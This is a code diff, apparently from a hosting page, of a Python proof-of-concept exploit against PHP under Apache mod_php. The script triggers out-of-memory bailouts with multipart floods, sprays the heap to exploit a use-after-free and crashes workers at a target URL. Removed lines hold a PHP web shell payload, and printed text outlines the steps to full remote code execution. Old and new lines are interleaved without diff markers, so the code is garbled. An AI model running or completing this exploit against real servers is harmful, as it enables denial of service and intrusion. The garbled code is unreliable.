def build_verify_body(boundary):
|
||||
"""
|
||||
Build a multipart body with many fields whose names are sized to
|
||||
land in the 64-byte ZendMM bin (same bin as BG(serialize).data).
|
||||
|
||||
The field names are the spray payload. In a weaponized exploit,
|
||||
these would be crafted to form a fake php_serialize_data struct
|
||||
with controlled HashTable fields. Here we use recognizable patterns
|
||||
for crash analysis.
|
||||
Small multipart with upload progress. Triggers the progress handler
|
||||
on the OOM'd worker. If BG(unserialize).level is stale, the handler
|
||||
reuses the freed .data pointer (UAF).
|
||||
"""
|
||||
parts = []
|
||||
for i in range(min(spray_count, 999)):
|
||||
# Spray name: 39 bytes landing in 64-byte bin
|
||||
# Fill with a pattern: 0x41414141... with index marker
|
||||
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
|
||||
# For weaponized exploit, the value would also be crafted.
|
||||
# We use a recognizable pattern for heap analysis.
|
||||
val = "B" * SPRAY_NAME_LEN
|
||||
parts.append(build_multipart_field(
|
||||
boundary, name.encode(), val.encode()
|
||||
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify",
|
||||
))
|
||||
parts.append(build_multipart_file(
|
||||
boundary, b"f", b"v.bin", b"\x00" * 1024,
|
||||
))
|
||||
parts.append(b"--" + boundary + b"--\r\n")
|
||||
return b"".join(parts)
|
||||
|
||||
|
||||
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
||||
def verify_stale_state(host, port, path, sid):
|
||||
"""
|
||||
Send POST requests to the OOM'd worker to spray 64-byte allocations
|
||||
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data
|
||||
slot with our controlled data.
|
||||
Send a verification request. If the worker has stale BG state,
|
||||
php_var_unserialize_init() reuses the freed .data pointer.
|
||||
|
||||
Each request's field names allocate zend_strings in the 64-byte bin.
|
||||
After request shutdown, these are freed back to the bin's free list.
|
||||
Over multiple requests, the free list order rotates, increasing the
|
||||
chance that one of our allocations reclaims the target slot.
|
||||
Returns (status, pid, body).
|
||||
"""
|
||||
boundary = b"VERIFY" + os.urandom(4).hex().encode()
|
||||
body = build_verify_body(boundary)
|
||||
try:
|
||||
status, rbody = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
cookies=f"PHPSESSID={sid}", timeout=10,
|
||||
)
|
||||
pid = extract_pid(rbody)
|
||||
return status, pid, rbody
|
||||
except (ConnectionError, socket.timeout) as e:
|
||||
return 0, 0, str(e).encode()
|
||||
|
||||
|
||||
# ── Phase 4: Heap spray + UAF trigger ────────────────────────────────
|
||||
|
||||
# ZendMM 64-byte bin:
|
||||
# php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin
|
||||
# zend_string: 24-byte header + body + 1 NUL
|
||||
# For 64-byte bin: body = 64 - 24 - 1 = 39 bytes
|
||||
SPRAY_NAME_LEN = 39
|
||||
|
||||
|
||||
def build_spray_body(boundary, spray_count=500):
|
||||
"""
|
||||
Fields with 39-char names land in the 64-byte ZendMM bin (same bin
|
||||
as BG(unserialize).data). Over multiple requests, one of these
|
||||
allocations may reclaim the stale slot.
|
||||
|
||||
For a weaponized exploit, the spray content would form a fake
|
||||
php_unserialize_data struct with controlled HashTable fields:
|
||||
offset 0: uint32_t n (reference counter)
|
||||
offset 8: HashTable ht
|
||||
offset 16: Bucket *arData (attacker pointer)
|
||||
offset 48: dtor_func_t pDestructor (RIP control)
|
||||
"""
|
||||
parts = []
|
||||
parts.append(build_multipart_field(
|
||||
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray",
|
||||
))
|
||||
for i in range(min(spray_count, 999)):
|
||||
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
|
||||
val = "B" * SPRAY_NAME_LEN
|
||||
parts.append(build_multipart_field(
|
||||
boundary, name.encode(), val.encode(),
|
||||
))
|
||||
parts.append(build_multipart_file(
|
||||
boundary, b"f", b"spray.bin", b"\x00" * 1024,
|
||||
))
|
||||
parts.append(b"--" + boundary + b"--\r\n")
|
||||
return b"".join(parts)
|
||||
|
||||
|
||||
def heap_spray(host, port, path, sid, target_pid, rounds=10,
|
||||
spray_per_round=500):
|
||||
"""
|
||||
Spray 64-byte allocations into the OOM'd worker to reclaim the
|
||||
stale BG(unserialize).data slot.
|
||||
|
||||
Returns the number of rounds that hit the target worker.
|
||||
"""
|
||||
@@ -366,7 +399,7 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
||||
try:
|
||||
status, rbody = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
timeout=10
|
||||
cookies=f"PHPSESSID={sid}", timeout=10,
|
||||
)
|
||||
pid = extract_pid(rbody)
|
||||
if pid == target_pid:
|
||||
@@ -376,121 +409,70 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
||||
return hits
|
||||
|
||||
|
||||
# ── Phase 3: Trigger UAF ───────────────────────────────────────────────
|
||||
|
||||
def trigger_uaf(host, port, path, target_pid, sid):
|
||||
"""
|
||||
Send multipart with upload progress to the OOM'd worker.
|
||||
The progress handler calls php_session_rfc1867_update() which calls
|
||||
php_session_encode() → php_var_serialize_init().
|
||||
|
||||
php_var_serialize_init checks BG(serialize).level:
|
||||
- If > 0 (stale from OOM): increments level, reuses .data pointer
|
||||
- The .data pointer was freed when the old heap was destroyed
|
||||
- If heap spray reclaimed the slot, .data now contains our spray
|
||||
|
||||
The serialize code treats .data as a php_serialize_data struct with
|
||||
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
|
||||
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
|
||||
calls our function pointer → RIP control.
|
||||
|
||||
Returns (status, pid, body).
|
||||
"""
|
||||
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
|
||||
|
||||
parts = []
|
||||
parts.append(build_multipart_field(
|
||||
boundary,
|
||||
b"PHP_SESSION_UPLOAD_PROGRESS",
|
||||
b"trigger",
|
||||
))
|
||||
parts.append(build_multipart_file(
|
||||
boundary, b"f", b"t.bin", b"\x00" * 1024
|
||||
))
|
||||
parts.append(b"--" + boundary + b"--\r\n")
|
||||
body = b"".join(parts)
|
||||
|
||||
try:
|
||||
status, rbody = http_post_multipart(
|
||||
host, port, path, boundary.decode(), body,
|
||||
cookies=f"PHPSESSID={sid}", timeout=10
|
||||
)
|
||||
pid = extract_pid(rbody)
|
||||
return status, pid, rbody
|
||||
except (ConnectionError, socket.timeout) as e:
|
||||
return 0, 0, str(e).encode()
|
||||
|
||||
|
||||
# ── Session file check ─────────────────────────────────────────────────
|
||||
# ── Session file inspection ──────────────────────────────────────────
|
||||
|
||||
def check_session_file(sid, save_path="/tmp"):
|
||||
"""
|
||||
Check if the session file persists with PHP code.
|
||||
Session files may be owned by www-data, so this may need elevated
|
||||
privileges. Returns (exists, has_php_code, data).
|
||||
Read the session file. Returns (exists, size, data_preview).
|
||||
"""
|
||||
path = os.path.join(save_path, f"sess_{sid}")
|
||||
try:
|
||||
with open(path, "rb") as f:
|
||||
data = f.read()
|
||||
return True, b"<?php" in data or b"system" in data, data
|
||||
return True, len(data), data[:300]
|
||||
except PermissionError:
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["sudo", "cat", path],
|
||||
capture_output=True, timeout=5
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
data = result.stdout
|
||||
if data:
|
||||
return True, b"<?php" in data or b"system" in data, data
|
||||
return True, len(data), data[:300]
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
return True, False, b"(permission denied)"
|
||||
return True, 0, b"(permission denied)"
|
||||
except FileNotFoundError:
|
||||
return False, False, b""
|
||||
return False, 0, b""
|
||||
|
||||
|
||||
# ── Main ────────────────────────────────────────────────────────────────
|
||||
# ── Main ─────────────────────────────────────────────────────────────
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)"
|
||||
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target", "-t", required=True,
|
||||
help="Target URL, e.g. http://host:port/index.php"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--cmd", default="id",
|
||||
help="Command to embed in session payload (default: id)"
|
||||
help="Target URL, e.g. http://host:port/index.php",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--session-path", default="/var/www/uaf-test/sessions",
|
||||
help="Session save_path on the target"
|
||||
help="Session save_path on the target",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--progress-size", type=int, default=500000,
|
||||
help="Size of PHP_SESSION_UPLOAD_PROGRESS value in bytes (default: 500000)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--oom-fields", type=int, default=0,
|
||||
help="Number of OOM fields (0 = auto-detect)"
|
||||
help="Number of OOM fields (0 = auto-detect)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--field-size", type=int, default=40960,
|
||||
help="OOM field value size in bytes (default: 40960)"
|
||||
help="OOM field value size in bytes (default: 40960)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--spray-rounds", type=int, default=20,
|
||||
help="Number of heap spray rounds (default: 20)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--trigger-rounds", type=int, default=50,
|
||||
help="Number of UAF trigger attempts (default: 50)"
|
||||
help="Number of heap spray rounds (default: 20)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--oom-only", action="store_true",
|
||||
help="Only run Phase 1 (OOM + session poison), skip spray/trigger"
|
||||
help="Stop after Phase 2 (OOM + stale state), skip spray",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--crash-test", action="store_true",
|
||||
help="Run full chain and report whether a crash occurs"
|
||||
help="Run full chain including heap spray and report crashes",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
@@ -499,15 +481,12 @@ def main():
|
||||
port = url.port or 80
|
||||
path = url.path or "/index.php"
|
||||
|
||||
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
|
||||
|
||||
print("=" * 64)
|
||||
print(" CVE-2026-109618 / CVE-2026-109619")
|
||||
print(" Use-After-Free RCE via OOM Bailout")
|
||||
print(" Use-After-Free via OOM Bailout")
|
||||
print(" (Apache mod_php, prefork MPM)")
|
||||
print("=" * 64)
|
||||
print(f" Target: {host}:{port}{path}")
|
||||
print(f" Payload: {args.cmd}")
|
||||
print()
|
||||
|
||||
# ── Phase 0: Worker discovery ───────────────────────────────────
|
||||
@@ -515,52 +494,73 @@ def main():
|
||||
print("[*] Phase 0: Discovering workers...")
|
||||
pids = find_workers(host, port, path)
|
||||
if not pids:
|
||||
print("[-] No workers found. Is the target running mod_php?")
|
||||
print(" (The target must echo getmypid() in its output.)")
|
||||
print("[-] No workers found. Target must echo getmypid() in output.")
|
||||
sys.exit(1)
|
||||
print(f" Workers: {pids}")
|
||||
print(f" Count: {len(pids)} (Apache prefork children)")
|
||||
|
||||
# ── Phase 1: OOM trigger ────────────────────────────────────────
|
||||
# ── Phase 1: Create large session file ──────────────────────────
|
||||
|
||||
print()
|
||||
print("[*] Phase 1: OOM trigger + session poisoning")
|
||||
print("[*] Phase 1: Creating large session file...")
|
||||
|
||||
sid = "uaf" + os.urandom(6).hex()
|
||||
progress_kb = args.progress_size // 1024
|
||||
print(f" SID: {sid}")
|
||||
print(f" Progress value: {progress_kb}KB")
|
||||
|
||||
status1, body1, pid1 = create_large_session(
|
||||
host, port, path, sid, args.progress_size,
|
||||
)
|
||||
print(f" Status: {status1}, Worker PID: {pid1}")
|
||||
|
||||
exists, size, preview = check_session_file(sid, args.session_path)
|
||||
if not exists or size < 1000:
|
||||
print(f"[-] Session file missing or too small ({size}B).")
|
||||
print(f" Is session.upload_progress.enabled=1?")
|
||||
print(f" Is session.save_path = {args.session_path}?")
|
||||
sys.exit(1)
|
||||
print(f" [+] Session file: {size}B ({size//1024}KB)")
|
||||
print(f" Preview: {preview[:120]}")
|
||||
|
||||
# ── Phase 2: OOM during session re-init ─────────────────────────
|
||||
|
||||
print()
|
||||
print("[*] Phase 2: OOM during session unserialize...")
|
||||
|
||||
if args.oom_fields:
|
||||
num_fields = args.oom_fields
|
||||
field_size = args.field_size
|
||||
print(f" Using configured: {num_fields} fields x {field_size}B")
|
||||
else:
|
||||
print(" Auto-detecting memory_limit...")
|
||||
print(" Auto-detecting OOM threshold...")
|
||||
result = detect_memory_limit(host, port, path)
|
||||
if result is None:
|
||||
print("[-] Could not trigger OOM. memory_limit may be too high")
|
||||
print(" or max_input_vars too low. Try --oom-fields manually.")
|
||||
print("[-] Could not trigger OOM. memory_limit may be too high.")
|
||||
print(" Try --oom-fields manually.")
|
||||
sys.exit(1)
|
||||
num_fields, field_size = result
|
||||
est_mb = num_fields * field_size / 1024 / 1024
|
||||
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
|
||||
|
||||
# OOM each worker by sending requests until all have been hit.
|
||||
# We cannot target a specific worker (500 responses have no PID),
|
||||
# so we OOM repeatedly and track which workers survived.
|
||||
poisoned_workers = {}
|
||||
sids_used = []
|
||||
max_oom_attempts = len(pids) * 8
|
||||
# Reduce field count slightly so memory fills close to the limit
|
||||
# but doesn't OOM before the file upload triggers the progress
|
||||
# handler. The session re-read of the ~500KB file pushes over.
|
||||
adjusted = max(num_fields - 10, num_fields * 9 // 10)
|
||||
print(f" Adjusted to {adjusted} fields (leave room for session read OOM)")
|
||||
|
||||
max_oom_attempts = len(pids) * 6
|
||||
oom_workers = set()
|
||||
|
||||
for attempt in range(max_oom_attempts):
|
||||
sid = "uaf" + os.urandom(6).hex()
|
||||
sids_used.append(sid)
|
||||
|
||||
_, _, status = trigger_oom(
|
||||
host, port, path, sid, php_payload,
|
||||
num_fields, field_size
|
||||
status, _ = trigger_oom(
|
||||
host, port, path, sid, adjusted, field_size,
|
||||
)
|
||||
|
||||
if status == 500:
|
||||
print(f" [{attempt+1}] OOM triggered (status 500)")
|
||||
elif status == 0:
|
||||
print(f" [{attempt+1}] Connection error (worker may have died)")
|
||||
print(f" [{attempt+1}] Connection error (worker may have crashed)")
|
||||
else:
|
||||
print(f" [{attempt+1}] status={status} (no OOM)")
|
||||
continue
|
||||
@@ -571,117 +571,131 @@ def main():
|
||||
new_workers = set(pids_after) - set(pids)
|
||||
|
||||
for pid in survived:
|
||||
if pid not in poisoned_workers:
|
||||
poisoned_workers[pid] = sid
|
||||
if pid not in oom_workers:
|
||||
oom_workers.add(pid)
|
||||
print(f" [+] Worker {pid} survived OOM (stale BG state)")
|
||||
|
||||
if new_workers:
|
||||
print(f" New workers spawned: {sorted(new_workers)}")
|
||||
print(f" New workers: {sorted(new_workers)}")
|
||||
pids = sorted(set(pids) | new_workers)
|
||||
|
||||
# Check session file for the latest SID
|
||||
exists, has_php, data = check_session_file(sid, args.session_path)
|
||||
if exists and has_php:
|
||||
print(f" [+] Session file: {len(data)}B with PHP code")
|
||||
if data and data != b"(permission denied)":
|
||||
print(f" Content: {data[:120]}")
|
||||
elif exists:
|
||||
print(f" Session file: {len(data)}B (no PHP code?)")
|
||||
|
||||
if len(poisoned_workers) >= len(pids):
|
||||
print(f"\n All {len(pids)} workers poisoned!")
|
||||
break
|
||||
|
||||
if not poisoned_workers:
|
||||
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
|
||||
print(" not Apache mod_php with prefork MPM.")
|
||||
if not oom_workers:
|
||||
print()
|
||||
print("[-] No workers survived OOM.")
|
||||
print(" This target may use PHP-FPM (workers exit on bailout).")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}")
|
||||
print(f"\n Survived workers: {sorted(oom_workers)}")
|
||||
|
||||
# Check if session file still has the large content (unchanged
|
||||
# means OOM happened during session re-init, not after flush)
|
||||
exists2, size2, preview2 = check_session_file(sid, args.session_path)
|
||||
if exists2 and abs(size2 - size) < 100:
|
||||
print(f" [+] Session file unchanged ({size2}B)")
|
||||
print(f" OOM during session re-init confirmed")
|
||||
|
||||
# ── Phase 3: Verify stale BG state ──────────────────────────────
|
||||
|
||||
print()
|
||||
print("[*] Phase 3: Verifying stale BG(unserialize) state...")
|
||||
|
||||
verified_pids = set()
|
||||
for attempt in range(len(pids) * 4):
|
||||
status, pid, body = verify_stale_state(host, port, path, sid)
|
||||
|
||||
if pid in oom_workers and pid not in verified_pids:
|
||||
if status == 0:
|
||||
print(f" [+] Worker {pid} CRASHED on verification request!")
|
||||
print(f" UAF triggered: stale .data pointer dereferenced")
|
||||
verified_pids.add(pid)
|
||||
elif status == 500:
|
||||
print(f" [+] Worker {pid} returned 500 (OOM from large session read)")
|
||||
print(f" Stale BG state confirmed (session still active)")
|
||||
verified_pids.add(pid)
|
||||
elif status == 200:
|
||||
print(f" [+] Worker {pid} returned 200 (stale pointer readable)")
|
||||
print(f" UAF window open: .data points into reused heap")
|
||||
verified_pids.add(pid)
|
||||
|
||||
if verified_pids >= oom_workers:
|
||||
break
|
||||
|
||||
if not verified_pids:
|
||||
print(" Could not hit OOM'd workers for verification.")
|
||||
print(" (May need more attempts with more workers)")
|
||||
|
||||
if args.oom_only:
|
||||
print("\n[*] --oom-only: stopping after Phase 1.")
|
||||
print(" Confirmed primitives:")
|
||||
print(" - OOM via multipart field flood")
|
||||
print(" - Worker survival (Apache prefork)")
|
||||
print(" - Session file persistence with PHP code")
|
||||
print(" - Stale BG(serialize) state in surviving workers")
|
||||
print()
|
||||
print("[*] --oom-only: stopping after Phase 3.")
|
||||
print_summary(oom_workers, verified_pids, False)
|
||||
return
|
||||
|
||||
# ── Phase 2: Heap spray ─────────────────────────────────────────
|
||||
# ── Phase 4: Heap spray + UAF trigger ───────────────────────────
|
||||
|
||||
if args.crash_test:
|
||||
print()
|
||||
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)")
|
||||
print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...")
|
||||
|
||||
for target_pid in sorted(oom_workers):
|
||||
if target_pid not in find_workers(host, port, path):
|
||||
print(f" Worker {target_pid} already gone, skipping")
|
||||
continue
|
||||
|
||||
for target_pid, sid in poisoned_workers.items():
|
||||
print(f"\n Spraying worker {target_pid}...")
|
||||
hits = heap_spray(host, port, path, target_pid,
|
||||
rounds=args.spray_rounds)
|
||||
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}")
|
||||
|
||||
# ── Phase 3: Trigger UAF ────────────────────────────────────
|
||||
|
||||
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
|
||||
|
||||
crashed = False
|
||||
trigger_sid = "trig" + os.urandom(6).hex()
|
||||
for attempt in range(args.trigger_rounds):
|
||||
status, pid, body = trigger_uaf(
|
||||
host, port, path, target_pid, trigger_sid
|
||||
spray_sid = "spray" + os.urandom(5).hex()
|
||||
hits = heap_spray(
|
||||
host, port, path, spray_sid, target_pid,
|
||||
rounds=args.spray_rounds,
|
||||
)
|
||||
if status == 0 or status >= 500:
|
||||
print(f" [!] Worker crash on attempt {attempt+1}! "
|
||||
f"status={status}")
|
||||
crashed = True
|
||||
print(f" Spray rounds on target: {hits}/{args.spray_rounds}")
|
||||
|
||||
print(f" Triggering UAF...")
|
||||
for t in range(20):
|
||||
status, pid, body = verify_stale_state(
|
||||
host, port, path, sid,
|
||||
)
|
||||
if pid == target_pid:
|
||||
if status == 0:
|
||||
print(f" [!] CRASH on trigger {t+1}!")
|
||||
break
|
||||
if pid == target_pid and attempt < 5:
|
||||
print(f" Attempt {attempt+1}: hit target, status={status}")
|
||||
elif status >= 500:
|
||||
print(f" Trigger {t+1}: status {status} on target")
|
||||
|
||||
if crashed:
|
||||
pids_final = find_workers(host, port, path)
|
||||
if target_pid not in pids_final:
|
||||
print(f" [+] CONFIRMED: Worker {target_pid} crashed!")
|
||||
print(f" [+] UAF triggered via stale BG(serialize).data")
|
||||
print(f" Current workers: {pids_final}")
|
||||
print()
|
||||
print(" For full RCE, a weaponized exploit would:")
|
||||
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
|
||||
print(" 2. Construct fake HashTable with pDestructor = system()")
|
||||
print(" 3. Place command string in arData")
|
||||
print(" 4. Trigger serialize → pDestructor called → shell")
|
||||
pids_check = find_workers(host, port, path)
|
||||
if target_pid not in pids_check:
|
||||
print(f" [+] Worker {target_pid} CRASHED (UAF dereference)")
|
||||
print(f" Current workers: {pids_check}")
|
||||
else:
|
||||
print(f" Worker {target_pid} returned 500 but is still alive")
|
||||
print(f" (May need more precise heap feng shui)")
|
||||
else:
|
||||
print(f" No crash after {args.trigger_rounds} attempts.")
|
||||
print(f" The stale pointer likely still holds readable data.")
|
||||
print()
|
||||
print(" This is expected without precise heap feng shui.")
|
||||
print(" The exploit demonstrates all confirmed primitives:")
|
||||
print(" 1. OOM trigger via multipart field flood")
|
||||
print(" 2. Worker survival on Apache prefork")
|
||||
print(" 3. Session file persistence (cleanup skipped)")
|
||||
print(" 4. Stale BG(serialize) state across requests")
|
||||
print(" 5. Heap spray targeting 64-byte ZendMM bin")
|
||||
print()
|
||||
print(" Full weaponization requires:")
|
||||
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
|
||||
print(" Session data from stale BG(unserialize) leaks")
|
||||
print(" freed heap addresses through PHPSESSID cookie")
|
||||
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
|
||||
print(" the BG(serialize).data slot with attacker data")
|
||||
print(" c. Fake HashTable construction:")
|
||||
print(" pDestructor → system() / one_gadget")
|
||||
print(" arData → pointer to command string")
|
||||
print(" d. Trigger php_var_serialize → zend_hash_destroy")
|
||||
print(" on the fake table → RCE")
|
||||
print(f" Worker {target_pid} still alive (no crash)")
|
||||
print(f" Expected: precise heap feng shui needed for crash")
|
||||
|
||||
print()
|
||||
print_summary(oom_workers, verified_pids, args.crash_test)
|
||||
|
||||
|
||||
def print_summary(oom_workers, verified_pids, ran_spray):
|
||||
print("=" * 64)
|
||||
print(" Summary")
|
||||
print(" Results")
|
||||
print("=" * 64)
|
||||
for pid, sid in poisoned_workers.items():
|
||||
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})")
|
||||
print()
|
||||
print(" Confirmed primitives:")
|
||||
print(f" [+] OOM via multipart field flood")
|
||||
print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)")
|
||||
print(f" [+] Large session file creation via upload progress")
|
||||
print(f" [+] OOM during session re-init (unserialize of large key)")
|
||||
if verified_pids:
|
||||
print(f" [+] Stale BG(unserialize) state across requests")
|
||||
print(f" [+] UAF window: freed .data pointer reused by next request")
|
||||
print()
|
||||
print(" For full RCE (not implemented), a weaponized exploit needs:")
|
||||
print(" 1. ASLR bypass via CVE-2026-109619 info leak")
|
||||
print(" (stale session data leaks freed heap addresses)")
|
||||
print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data")
|
||||
print(" 3. Fake HashTable: pDestructor -> system(), arData -> command")
|
||||
print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE")
|
||||
print()
|
||||
if not ran_spray:
|
||||
print(" Run with --crash-test to attempt heap spray + UAF trigger.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in New Issue
Block a user